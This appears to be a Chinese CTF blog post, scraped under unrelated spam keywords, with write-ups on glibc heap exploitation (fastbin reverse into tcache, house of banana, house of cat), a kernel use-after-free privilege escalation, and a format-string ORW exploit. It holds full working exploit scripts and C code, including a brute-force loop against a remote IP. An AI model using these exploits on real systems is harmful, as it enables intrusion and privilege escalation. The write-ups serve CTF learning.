国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁 > news >正文

阿里云 建設(shè)網(wǎng)站佛山網(wǎng)站建設(shè)排名

阿里云 建設(shè)網(wǎng)站,佛山網(wǎng)站建設(shè)排名,網(wǎng)站開發(fā)公司取名,有什么頁游傳奇平臺好fastbin_reverse_into_tcache(2.34) 本題所使用的libc版本為2.34;(最新版 libc2.34版本已經(jīng)沒有了所謂的hook函數(shù),甚至exit_hook(實(shí)際為某個(gè)函數(shù)指針)也已經(jīng)不能夠使用;能夠利用的手法已經(jīng)很少了; 高版本glibc堆的幾…

fastbin_reverse_into_tcache(2.34)

本題所使用的libc版本為2.34;(最新版
libc2.34版本已經(jīng)沒有了所謂的hook函數(shù),甚至exit_hook(實(shí)際為某個(gè)函數(shù)指針)也已經(jīng)不能夠使用;能夠利用的手法已經(jīng)很少了;
在這里插入圖片描述

  1. 高版本glibc堆的幾種利用手法
  2. 淺談glibc新版本保護(hù)機(jī)制以及繞過
  3. house of banana推薦看看
  4. glibc2.23分析house of banana

可以看到Free釋放函數(shù)總共可以使用11次,而Allocate申請函數(shù)可以使用0x2e次;
如果按照fastbin_reverse_into_tcache的節(jié)奏來說,那么布局是如何的呢? 首先申請多塊內(nèi)容(19塊以上),然后按釋放次數(shù)來說,7次釋放填充tcache,然后3次造成fastbin的double free,然后利用申請將tcache置空,再次申請的時(shí)候則fastbin將倒置入tcache之中,此時(shí)我們可以往已知地址上達(dá)成一次任意寫,但是libc地址未知,故我們需要修改heap上的size域,進(jìn)而再利用一次釋放得到unsorted bin來泄露libc地址;此時(shí)我們就再也無法利用Free函數(shù)了,而且任意地址寫也利用完了。那么接下來怎么辦!這里卡了很久,我在思考,怎么減少Free函數(shù)的使用次數(shù)并達(dá)到相同的操作呢?
在這里插入圖片描述
第一版exp:(僅僅泄露了libc、heap地址,無法繼續(xù)下一步;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libcdef Allocate(index,payload=b'/bin/sh\x00'):r.sendlineafter(": ",'1')r.sendlineafter("Index: ",str(index))r.sendlineafter("Content: ",payload)def Free(index):r.sendlineafter(": ",'2')r.sendlineafter("Index: ",str(index))def Show(index):r.sendlineafter(": ",'3')r.sendlineafter("Index: ",str(index))r.recvuntil("Content: ")return r.recvuntil('\n')[:-1]start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):Allocate(i)
for i in range(9):Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410Free(7)#fastbin double freefor i in range(4):Allocate(19 + i)Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4b0))+p64(0)+p64(0)+p64(0x41) )
Allocate( 24,b'a'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x490)) )
Allocate( 25,b'b'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x430)) )Allocate(27)
Allocate(28)
Allocate(29,b'c'*0x10+p64(0)+p64(0x441))
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00')) - 0x218CC0Allocate( 30,b'd'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
gdb.attach(r)
Exit()r.interactive()

在思考許久之后,終于發(fā)現(xiàn)了一種方法;首先7次釋放填充tcache,1次釋放填充fastbin,接下來就精彩了,我們申請1塊tcache,此時(shí)bins之中存在6塊tcache、1塊fastbin,那么我們再次釋放掉這1塊fastbin,這1塊fastbin將會填充到tcache之中,而不會接受任何的檢測;同時(shí)我們在接下來申請7塊的內(nèi)容之中布置好fastbin的fd指針,那么利用fastbin_reverse_into_tcache將會得到新的一個(gè)已布置好的倒置的fastbin鏈(tcache鏈);利用這個(gè)鏈條我們可以滿足釋放unsorted bin的同時(shí),并且獲取到了任意地址寫;
這里我采用了house of banana(我并不知道是否使用于libc2.34,但是2.31應(yīng)該是使用的,不過查閱資料應(yīng)該是可以的?
這里偽造好了link_map,但是沒有獲取權(quán)限,而我想調(diào)試深入分析exit函數(shù),但是沒有符號表,而我的glibc-all-in-one下載不了最新版本的libc,導(dǎo)致我需要去自行編譯libc(很麻煩
第二版exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libcdef Allocate(index,payload=p32(0x9)*8):r.sendlineafter(": ",'1')r.sendlineafter("Index: ",str(index))r.sendafter("Content: ",payload)def Free(index):r.sendlineafter(": ",'2')r.sendlineafter("Index: ",str(index))def Show(index):r.sendlineafter(": ",'3')r.sendlineafter("Index: ",str(index))r.recvuntil("Content: ")return r.recvuntil('\n')[:-1]start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')
one = [0xeeccc,0xeeccf,0xeecd2]start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):Allocate(i)
for i in range(8):Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410Allocate(19)# tcache_count = 6
Free(7)# double free fasbin[0] == tcache[0]Allocate( 21,p64((heap_addr>>12)^(heap_addr+0x500)) )# fastbin[0]
Allocate( 22,p64((heap_addr>>12)^(heap_addr+0x500)) )
Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4c0)) )
Allocate( 24,p64((heap_addr>>12)^(heap_addr+0x4a0)) )
Allocate( 25,p64((heap_addr>>12)^(heap_addr+0x440))+p64(0)*2+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x480)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x400)) )
Allocate( 27,p64((heap_addr>>12)^(heap_addr+0x420))+p64(0)*2+p64(0x41)+p64(ptr) )# unsortedbin.size偽造Allocate( 28 )# fastbin reverse into tcache
Allocate( 29,p64(0)*3+p64(0x441) )
Allocate( 30,p64(0)*5+p64(heap_addr+0x410) )# *(fake+0x28)=fake
Allocate( 31 )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00'))-0x218CC0
target = libc_base + 0x228010 - 0x10Allocate( 32 )
Allocate( 33,p64(0)*3+p64(0x41)+p64((heap_addr>>12)^target) )
Allocate( 34 )
Allocate( 35,p64(libc_base)+p64(libc_base+0x260FC0)+p64(libc_base+0x217BC0)+p64(heap_addr+0x450)+p64(libc_base+0x2607D0)+p64(libc_base+0x228000) )Allocate( 36,p64(0)*5+p64(heap_addr+0x450) )# *(fake+0x28)=fake
Allocate( 37,p64(0)+p64(heap_addr+0x4a8)+p64(0x8)+p64(libc_base+one[0]) )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Allocate( 38 )
Allocate( 39 )
Allocate( 40,p64(0)*2+p64(heap_addr+0x490)+p64(0)+p64(heap_addr+0x498) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
success(hex(target))
success(hex(libc_base+one[0]))
#gdb.attach(r)
Exit()r.interactive()

kernel pwn1(xm)

該題目是個(gè)kernel;改自baby driver[2017UAF];原題就曾使用了fork函數(shù)開啟進(jìn)程,修改cred結(jié)構(gòu)體uid以及euid為0從而提權(quán);但是本題卻也可以使用這種方法來提權(quán)(wp)
如下為start.sh文件內(nèi)容,這里我修改了-m 64M為-m 256M,如果內(nèi)存給予64M大小可能導(dǎo)致運(yùn)行緩慢甚至無法運(yùn)行,故我們給予其較大內(nèi)存,一般來說256M大小足以。并且添加了參數(shù)-s,該參數(shù)為調(diào)試參數(shù),端口默認(rèn)為1234,此時(shí)我們便可以使用gdb遠(yuǎn)程連接1234端口進(jìn)行調(diào)試;

#!/bin/shqemu-system-x86_64  \
-m 256M \
-cpu kvm64,+smep,+smap \
-s \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-append "console=ttyS0 nokaslr quiet"

cpio -idv < ./rootfs.img使用該命令可以將磁盤文件解壓,同時(shí)可以發(fā)現(xiàn)其中的init文件,init文件即為內(nèi)核啟動后第一件要做的事情;如下可以發(fā)現(xiàn)insmod /test1.ko該命令,使用LKM(Loadable Kernel Modules)(其實(shí)可以理解為加載內(nèi)核mod,mod就類似于打印機(jī)一般的外部設(shè)備)加載test1.ko;故該附件即為我們要分析的內(nèi)容。

#!/bin/shmkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"insmod /test1.ko
chmod 666 /dev/test1
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid pwn /bin/sh poweroff -d 0  -f

首先分析函數(shù):(test1.ko文件分析
在這里插入圖片描述
驅(qū)動程序的入口函數(shù)為init函數(shù),結(jié)束函數(shù)為exit函數(shù),如上所示即為初始化函數(shù),其實(shí)一般情況下,如下三個(gè)函數(shù)便完成了對一個(gè)簡單的dev設(shè)備的注冊申請等操作;test1_major是設(shè)備號,test1_cdev設(shè)備的結(jié)構(gòu)體,test1_fops設(shè)備的文件操作函數(shù),也就是open、read、write等對于該設(shè)備的函數(shù);

(*(__int64 (__fastcall **)(dev_t *, _QWORD, __int64, const char *))alloc_chrdev_region.gap0)(// 向內(nèi)核申請?jiān)O(shè)備號&test1_major,                          // 向內(nèi)核申請下來的設(shè)備號0LL,                                   // 次設(shè)備號的起始1LL,                                   // 申請?jiān)O(shè)備號的個(gè)數(shù)"test1")
cdev_init(&test1_cdev, &test1_fops);			//可以理解為test1_cdev與test1_fops捆在了一起
cdev_add(&test1_cdev, dev_Num, 1LL);			//可以理解為再將dev_Num和test1_cdev捆在了一起

而漏洞位于open函數(shù):
在這里插入圖片描述
這里比較難以理解,我們位于用戶態(tài)打開open(“/dev/test1”);設(shè)備,那么位于內(nèi)核態(tài)之中設(shè)備的信息儲存在root_buffer全局變量之中,那么我們在此位于用戶態(tài)指向open(“/dev/test1”);操作,那么root_buffer全局變量將儲存著我們第二次open的信息,第一次open丟失了,這不就像用戶態(tài)上的UAF嗎?不過該UAF較難理解;
如下我們再結(jié)合write函數(shù)進(jìn)行查看,如果我們寫入內(nèi)容大于32則執(zhí)行_kmalloc(寫入大小, 0x24000C0LL);操作,此時(shí)我們相當(dāng)于有了申請任意大小內(nèi)核空間的一個(gè)函數(shù)啦;
在這里插入圖片描述
此時(shí)假如我們申請了一個(gè)有0xa8(cred結(jié)構(gòu)體大小的chunk),并且釋放掉該結(jié)構(gòu)體,利用fork函數(shù)新建進(jìn)程申請cred結(jié)構(gòu)體時(shí)造成UAF,進(jìn)而修改uid等數(shù)值為0從而完成提權(quán)的操作;(編譯exp需要靜態(tài)編譯,因?yàn)閯討B(tài)鏈接大概率因?yàn)榄h(huán)境問題而無法運(yùn)行;

// gcc -s exp.c -o exp && gzip exp#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>int main()
{int fd1, fd2, pid;char buf[0x100];memset(buf, 'a', 0x100);fd1 = open("/dev/test1", O_RDWR);fd2 = open("/dev/test1", O_RDWR);write(fd1, buf, 0xa8);read(fd1, buf, 0xa8);close(fd1);pid = fork();if(!pid){memset(buf, 0, 0x100);write(fd2, buf, 0x1c);if(getuid() == 0){system("/bin/sh");}else{puts("Failed!");}}else{wait(NULL);}return 0;
}

調(diào)試:

Boot took 1.38 seconds
/ $ cat /proc/kallsyms | grep test1
ffffffffc00008a0 b __key.25704	[test1]
ffffffffc0000070 t test1_read	[test1]
ffffffffc00004c0 d __this_module	[test1]
ffffffffc00002d0 t cleanup_module	[test1]
ffffffffc0000890 b used	[test1]
ffffffffc000088c b length	[test1]
ffffffffc00001a0 t init_module	[test1]
ffffffffc0000000 t test1_open	[test1]
ffffffffc0000800 b test1_class	[test1]
ffffffffc00002d0 t test1_exit	[test1]
ffffffffc0000888 b test1_major	[test1]
ffffffffc0000820 b test1_cdev	[test1]
ffffffffc00001a0 t test1_init	[test1]
ffffffffc00000f0 t test1_write	[test1]
ffffffffc00003e0 d test1_fops	[test1]
ffffffffc0000040 t test1_release	[test1]
ffffffffc0000898 b test1_buffer	[test1]
/ $ lsmod 
test1 2835 0 - Live 0xffffffffc0000000 (OE)
/ $ 

可以利用如上所示找到驅(qū)動的地址;
在這里插入圖片描述
然后便可以利用gdb進(jìn)行調(diào)試,這里建議內(nèi)核調(diào)試使用gef來進(jìn)行調(diào)試;
參考鏈接: 內(nèi)核API


babyfmt(xm)

該題常規(guī)格式化字符串漏洞,難度不大,但是過程復(fù)雜(因?yàn)檎{(diào)試的頭都大了)

char format[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]v2 = __readfsqword(0x28u);
Read((unsigned __int8 *)format, 0x80);
printf(format);                               // 格式化字符串漏洞
putchar(10);
return __readfsqword(0x28u) ^ v2;

沒有溢出,但是存在格式化字符串,而且僅僅可輸入0x80大小,并且PIE等保護(hù)全開;并且開啟了沙盒保護(hù)
這導(dǎo)致我們需要很多次泄露,并且ROP布局棧時(shí)需要不只一次輸入;總結(jié)來說,難度位于第一次輸入應(yīng)該如何泄露地址并且重新返回main函數(shù),通過查看stack的情況,可以發(fā)現(xiàn)rsp+8地址處存在著指向rbp指針(Glibc2.31),這意味著我們第一次輸入只能輸入8字節(jié)+1字節(jié)爆破,經(jīng)過不斷思考發(fā)現(xiàn)b’%p%7$hhn’+b’\x18’存在著1/16概率爆破重新返回該函數(shù),注意,不能返回main函數(shù),因?yàn)閜rctl函數(shù)以及setvbuf無法通過;
后來發(fā)現(xiàn)附件Glibc為2.27,修改后就無需上面這種技巧了,因?yàn)榇藭r(shí)rsp+0x10地址處存在著指向rbp指針,多出8字節(jié)便寬限了很多,不過位于Glibc2.31可以依靠上面的payload來通過(并且可以泄露出棧地址);
payload1有了,那么以后的payload可以逐步泄露出libc地址、code地址等;然后布局ROP獲得一次超大的寫入操作,然后一次性布置完棧進(jìn)而完成orw(open不能返回與Glibc[‘open’],因?yàn)樵搊pen沒有采用sys_number=2的open,而是__NR_openat 257,需要找到Glibc中的syscall指令手動進(jìn)入sys_open之中;
如下,為第一版exp,我直接布置棧,太復(fù)雜了,故后來換成了利用ret2csu來完成;(減少了復(fù)雜度

def pwn(over = b'\x18'):#r = process(binary)# b'%p%7$hhn'+b'\x18'修改__libc_start_main函數(shù),但是prctl函數(shù)以及setvbuf無法通過;payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函數(shù)子函數(shù)sleep(0.3)r.send(payload1)stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))payload2 = b'%7c%10$hhn%137c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)sleep(0.3)r.send(payload2)r.recvuntil(b'0x')code_addr = int(r.recv(12),16)-0xB6Ar.recvuntil(b'0x')libc_base = int(r.recv(12),16)-0x21B97#=======================format=======================payload3 = b'%144c%20$hhncccc'payload3 += fmtstr_payload(8,{stack_addr+0x20:pop_rsi_r15_ret+code_addr},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)sleep(0.3)r.send(payload3.ljust(0x80,b'\x00'))# pop_rsi_r15_ret+code_addrpayload4 = b'%144c%17$hhncccc'#stack_addr+0x38:0payload4 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x28:0},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)sleep(0.3)r.send(payload4.ljust(0x80,b'\x00'))# 0 0payload5 = b'%144c%16$hhncccc'payload5 += fmtstr_payload(8,{stack_addr+0x38:pop_rdx_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)sleep(0.5)r.send(payload5.ljust(0x80,b'\x00'))# pop_rdx_retpayload6 = b'%144c%16$hhncccc'payload6 += fmtstr_payload(8,{stack_addr+0x48:pop_rax_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)sleep(0.5)r.send(payload6.ljust(0x80,b'\x00'))# pop_rax_retpayload7 = b'%144c%16$hhncccc'payload7 += fmtstr_payload(8,{stack_addr+0x40:0x300,stack_addr+0x50:0},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)sleep(0.5)r.send(payload7.ljust(0x80,b'\x00'))# 0 0gdb.attach(r,'b *0x555555400b35')#payload8 = b'%144c%16$hhncccc'payload8 = fmtstr_payload(6,{stack_addr+0x10:pop_rdi_ret,stack_addr+0x58:read_plt},write_size='byte')sleep(0.5)r.send(payload8.ljust(0x80,b'\x00'))success("stack_addr -> "+hex(stack_addr))success("code_addr  -> "+hex(code_addr))success("libc_base  -> "+hex(libc_base))

首先我位于地址隨機(jī)化關(guān)閉的情況下本地測試,通過后開始地址隨機(jī)化開始本地爆破測試,最后開始對比本地Glibc與遠(yuǎn)程Glibc所不一樣的地址情況進(jìn)行修改,最終遠(yuǎn)程測試通過(這步因?yàn)闊o法遠(yuǎn)程調(diào)試,所以需要特別細(xì)心,小心查看地址的不通,往往一個(gè)地址情況不同,則遠(yuǎn)程將失敗;

from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'binary = './babyfmt'
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')read_got = elf.got['read']
pop_rdi_ret = 0x0000000000000bf3
pop_rsi_r15_ret = 0x000000000bf1
pop_rdx_ret = 0x0000000000001b96#0x0000000000001b96#Glibc
pop_rax_ret = 0x000000000001b500#0x00000000000439c8#Glibc
push_rax_ret= 0x000000000001b4d0#0x000000000003dfed#Glibc
syscall =     0x0E41F5#0x0E4545#Glibc   LINUX - sys_uname
one1 = 0x0BEA
one2 = 0x0BD0
def pwn(over = b'\x18'):#r = process(binary)# b'%p%7$hhn'+b'\x18'修改__libc_start_main函數(shù),但是prctl函數(shù)以及setvbuf無法通過;payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函數(shù)子函數(shù)sleep(0.3)r.send(payload1)stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))payload2 = b'%7c%10$hhn%121c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)sleep(0.3)try:r.send(payload2)r.recvuntil(b'0x')code_addr = int(r.recv(12),16)-0xB6Ar.recvuntil(b'0x')libc_base = int(r.recv(12),16)-0x021C87#-0x21B97except:return 0
#=======================format=======================payload3 = b'%128c%18$hhncccc'payload3 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x20:1},numbwritten=0x84,write_size='byte')+p64(stack_addr+0x10)sleep(0.3)r.send(payload3.ljust(0x80,b'\x00'))# rbx rbppayload4 = b'%128c%16$hhncccc'payload4 += fmtstr_payload(8,{stack_addr+0x28:read_got+code_addr},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)sleep(0.3)r.send(payload4.ljust(0x80,b'\x00'))# r12 -> callpayload5 = b'%128c%16$hhncccc'payload5 += fmtstr_payload(8,{stack_addr+0x38:stack_addr+0x50},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)sleep(0.3)r.send(payload5.ljust(0x80,b'\x00'))# r14 -> rsipayload6 = b'%128c%19$hhncccc'payload6 += fmtstr_payload(8,{stack_addr+0x48:code_addr+one2,stack_addr+0x40:0x300},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)sleep(0.3)r.send(payload6.ljust(0x80,b'\x00'))# onegadget -> ret#gdb.attach(r)payload7 = b'%15$llnd'payload7 += fmtstr_payload(7,{stack_addr+0x10:code_addr+one1},numbwritten=1,write_size='short',strategy='small')+p64(stack_addr+0x30)sleep(0.3)r.send(payload7.ljust(0x80,b'\x00'))# retpayload8 = b'e'*8+flat({0x30: pop_rdi_ret+code_addr ,0x38: stack_addr+0x158 ,0x40: pop_rsi_r15_ret+code_addr ,0x48: 0 ,0x50: 0 ,0x58: pop_rax_ret+libc_base ,0x60: 2 ,0x68: syscall+libc_base ,#open0x70: pop_rdi_ret+code_addr ,0x78: 3 ,                                   #rdi0x80: pop_rsi_r15_ret+code_addr ,0x88: code_addr+0x0202020 ,                 #rsi0x90: 0 ,           0x98: pop_rdx_ret+libc_base ,0xa0: 0x70 ,                                #rdx0xa8: libc.symbols['read']+libc_base ,0xb0: pop_rdi_ret+code_addr ,0xb8: 1 ,0xc0: libc.symbols['write']+libc_base ,0xc8: 0 ,0x100:"./flag\x00"})sleep(0.3)r.send(payload8)success("stack_addr -> "+hex(stack_addr))success("code_addr  -> "+hex(code_addr))success("libc_base  -> "+hex(libc_base))flag = r.recvuntil(b'}')info("+ flag: " + str(flag))pause()return 1offset = 6
#gdb.attach(r,'b *0x555555400b35')
#pwn()flag = True
while(flag):#r = process(binary)r = remote('106.54.163.94', 20004)try:#gdb.attach(r)if( pwn(b'\xb8') ):flag = Falseexcept:r.close()

效果如下:
在這里插入圖片描述
XMctf{b4ac9dde-0b50-11ed-b333-52540042cee3}


House of cat(強(qiáng)網(wǎng)杯2022)

位于/malloc/malloc.c之中可以發(fā)現(xiàn)__malloc_assert的定義,并且__assert_fail等同于__malloc_assert:

# define __assert_fail(assertion, file, line, function)			\__malloc_assert(assertion, file, line, function)extern const char *__progname;static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",__progname, __progname[0] ? ": " : "",file, line,function ? function : "", function ? ": " : "",assertion);fflush (stderr);abort ();
}

而位于/assert/assert.h之中可以發(fā)現(xiàn)assert調(diào)用了__assert_fail函數(shù),該函數(shù)的功能是當(dāng)斷言失敗的時(shí)候,程序?qū)?zhí)行__assert_fail函數(shù),而位于/malloc/malloc.c宏定義了__assert_fail__malloc_assert函數(shù),故位于malloc之中的斷言錯(cuò)誤將會執(zhí)行__malloc_assert函數(shù)

#  define assert(expr)							\(static_cast <bool> (expr)						\? void (0)							\: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))

回到__malloc_assert函數(shù)之中,可以發(fā)現(xiàn),還存在著一個(gè)IO流函數(shù)__fxprintf

#define _IO_SYNC(FP) JUMP0 (__sync, FP)#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)# define _IO_JUMPS_FUNC(THIS) \(IO_validate_vtable                                                   \(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\+ (THIS)->_vtable_offset)))

此時(shí)我們便分析一下IO流函數(shù)__fxprintf

int
__fxprintf (FILE *fp, const char *fmt, ...)
{...int res = __vfxprintf (fp, fmt, ap, 0);...
}int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,unsigned int mode_flags)
{...int res = locked_vfxprintf (fp, fmt, ap, mode_flags);...
}static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,unsigned int mode_flags)
{if (_IO_fwide (fp, 0) <= 0)return __vfprintf_internal (fp, fmt, ap, mode_flags);...
}

故我們著重分析一下__vfprintf_internal函數(shù),實(shí)際上存在著隱藏著的定義vfprintf函數(shù):

# define vfprintf	__vfprintf_internal
采用了這種方法進(jìn)行隱藏函數(shù)具體實(shí)現(xiàn),需要通過搜索字符來判斷真正函數(shù)實(shí)現(xiàn)位置
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{...  
}
匯編如下(關(guān)鍵位置0x7f47b602c1bd    mov    rsi, qword ptr [rsp + 8]0x7f47b602c1c2    mov    rdx, rbx0x7f47b602c1c5    mov    rdi, rbp? 0x7f47b602c1c8    call   qword ptr [r12 + 0x38]        <_IO_wfile_seekoff>rdi: 0x5574e203fb00 ?— 0x0rsi: 0x7f47b6195208 ?— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0x0rcx: 0x7f47b61cca00 ?— 0x0
寄存器r12之中儲存著_IO_FILE_plus.vtable指針,根據(jù)該指針偏移0x38,同樣我們可以修改vtable指針偏移,那么將可以進(jìn)入到vtable指針?biāo)柑摫碇兴械腸all地址;
修改vtable指針+0x10,此時(shí)將會進(jìn)入到_IO_wfile_seekoff之中;不過對于vtable指針存在著檢查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{/* Fast path: The vtable pointer is within the __libc_IO_vtablessection.  */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;uintptr_t ptr = (uintptr_t) vtable;uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length))/* The vtable pointer is not in the expected section.  Use theslow path, which will terminate the process if necessary.  */_IO_vtable_check ();return vtable;
}
翻譯成匯編部分:0x7fb58eded180    mov    r12, qword ptr [rbp + 0xd8]0x7fb58eded187    lea    rax, [rip + 0x1a15da]0x7fb58eded18e    mov    rbx, qword ptr [rsp + 0x68]0x7fb58eded193    lea    rcx, [rip + 0x1a0866]0x7fb58eded19a    sub    rax, qword ptr [rip + 0x1a2677]0x7fb58eded1a1    sub    rbx, qword ptr [rsp + 8]0x7fb58eded1a6    mov    qword ptr [rsp + 0x30], rax0x7fb58eded1ab    mov    rdi, rax0x7fb58eded1ae    mov    rax, r120x7fb58eded1b1    sub    rax, rcx0x7fb58eded1b4    cmp    rdi, rax? 0x7fb58eded1b7    jbe    0x7fb58edeea50                <0x7fb58edeea50>同樣的,寄存器r12之中儲存著vtable指針,經(jīng)過一定運(yùn)算cmp    rdi, rax最后進(jìn)行比較,跳轉(zhuǎn);

此時(shí)我們查看_IO_wfile_seekoff函數(shù),并進(jìn)入_IO_switch_to_wget_mode函數(shù)之中查看:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{if (mode == 0)//mode不能為0,否則將進(jìn)入do_ftell_wide (fp)函數(shù)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));//需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_baseif (was_writing && _IO_switch_to_wget_mode (fp))//was_writing 為1則會執(zhí)行_IO_switch_to_wget_mode (fp)函數(shù)return WEOF;...
}
此時(shí)將進(jìn)入如下函數(shù)
int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;...
}
libc_hidden_def (_IO_switch_to_wget_mode)
而_IO_WOVERFLOW則為宏定義,此時(shí)我們可以執(zhí)行WJUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)#define _IO_WIDE_JUMPS(THIS) \_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \+ offsetof(TYPE, MEMBER)))#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
這么多宏定義,實(shí)際上是個(gè)call指令,進(jìn)入虛表而已;
最終執(zhí)行0x7fb58edfbd30 <_IO_switch_to_wget_mode>       endbr640x7fb58edfbd34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]				//rax取_wide_data指針0x7fb58edfbd3b <_IO_switch_to_wget_mode+11>    push   rbx										//push 00x7fb58edfbd3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi									//rbx取fake_io_file0x7fb58edfbd3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]				//rdx取_wide_data->IO_write_ptr 0x7fb58edfbd43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]				//cmp _wide_data->_IO_write_base0x7fb58edfbd47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>0x7fb58edfbd49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]				//rax取_wide_data指針偏移0xe00x7fb58edfbd50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff? 0x7fb58edfbd55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]						//call

下面是_IO_FILE_plus結(jié)構(gòu)體的定義等;

struct _IO_FILE
